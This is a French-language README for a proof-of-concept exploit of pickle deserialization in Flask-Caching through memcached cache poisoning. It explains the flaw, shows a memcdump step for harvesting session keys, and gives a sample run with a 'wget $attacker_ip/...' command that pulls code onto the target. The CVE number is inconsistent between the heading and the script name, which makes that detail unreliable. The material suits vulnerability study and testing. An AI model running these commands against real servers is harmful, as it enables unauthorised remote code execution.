
Exécution de code à distance par sérialisation Pickle - Empoisonnement de Memcached
Exécution de code à distance par sérialisation Pickle - Preuve de concept d'empoisonnement Memcached
Qu'est-ce que CVE-2021-3306?
L'extension Flask-Caching jusqu'à la version 1.10.1 pour Flask repose sur Pickle pour la sérialisation, ce qui peut conduire à une exécution de code à distance ou à une élévation de privilèges locale. Si un attaquant accède au stockage du cache (par ex., système de fichiers, Memcached, Redis, etc.), il peut construire une charge utile spécialement conçue, empoisonner le cache et exécuter du code Python.
Quelle est la fonction de la bibliothèque Pickle?
Pickle en Python est principalement utilisé pour sérialiser et désérialiser une structure d'objet Python. En d'autres termes, c'est le processus de conversion d'un objet Python en un flux d'octets pour le stocker dans un fichier/base de données, maintenir l'état du programme entre les sessions, ou transporter des données sur le réseau.
Qu'est-ce que Memcached?
Memcached est un système de mise en cache mémoire distribué à usage général. Il est souvent utilisé pour accélérer les sites web dynamiques basés sur des bases de données en mettant en cache des données et des objets dans la RAM afin de réduire le nombre de lectures d'une source de données externe.
[!] Exploitation :
1. Pour que l'exploit fonctionne, il est nécessaire de fournir un cookie de session. Pourquoi ? Dans cette preuve de concept, nous avons un cas où le cookie de session d'une application Flask vulnérable est géré ou stocké par le service memcached :
memcdump --servers=target_machine_ip_address

2. Utilisation de l'exploit :
-h --> help menu
--cmd --> Command to get executed on the target machine
--rhost --> Target Machine Ip Address
--rport --> Target Machine Port
--cookie --> Your ACTUAL SESSION COOKIE from the VULNERABLE FLASK Application. Example: session:58e61600-9ecf-45b8-b7b8-db2f0a00f421
3. Exécution de l'exploit :
python3 cve-2021-33026_PoC.py --rhost $target_machine_ip_address --rport $target_machine_port --cmd "wget $attacker_ip/picke_memcached_posisoning_exploit" --cookie "session:58e61600-9ecf-45b8-b7b8-db2f0a00f421"

Référence :